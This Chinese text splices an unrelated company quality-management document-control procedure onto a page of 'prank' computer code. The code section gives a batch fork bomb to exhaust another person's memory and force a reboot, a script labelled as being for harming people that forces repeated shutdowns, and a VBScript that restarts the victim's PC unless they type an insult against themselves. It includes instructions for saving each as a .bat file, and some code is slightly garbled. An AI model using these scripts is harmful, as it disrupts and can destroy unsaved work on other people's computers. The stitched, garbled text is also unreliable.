1、目的 对质量管理体系的所有文件进行有效控制,确保质量管理体系运行的各个场所使用有效文件,并处于受控状态,以及质量管理体系的持续有效进行,保证记录完整,实现质量追溯性。 2、范围 适用于本集团公司及所属子公司质量管理体系所有文件和记录。 3、定义 3.1受控文件:指最新有效文件,加盖“受控”印章的文件。 3.2非受控文件:未加盖“受控”或加盖“作废”的文件。 3.3质量体系文件:质量手册、程序文件、作业文件、质量记录、表格等。 3.4 记录:为完成的活动或达到的结果提供客观证据的文件。 3.5 外来文件:非本公司发布的,与质量体系有关的标准、规范、手册,与产品有关的法律法规,顾客提供的标准等文件。 3.6技术性文件:设计图样、工艺文件、作业指导书、检验规程等;“技术通知” 3.7行政文件:除公司技术性文件、质量体系文件以外的行政管理性文件; 4、职责 4.1集团总经理:负责质量手册的批准。 4.2集团管理者代表:负责集团公司质量手册审核、程序文件的批准。 4.3集团质量管理部门:负责质量手册的编制、组织程序文件的编写、修改、校对与报批。 4.4各部门主任、子公司分管领导:负责本部门所需的三、四层次文件的批准。 4.5各部门、子公司各职能部门:负责本部门第三、四层次文件文件的编制、报批。 4.6集团质量部门:负责组织和主持质量管理体系文件编制、修改、评审、发布、更新、作废、处置的监督管理。 4.7集团技术部门:识别和编制所需的技术、工艺等文件,并负责该文件的归档管理,(含顾客图纸、样件等)。 4.8人力行政部门:编制公司行政管理文件并负责公司行政文件归档管理,(含人事任命、培训、基础建设等)。 4.9各部门:负责识别所需的各种内部管理性文件。 5、文件控制流程图

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

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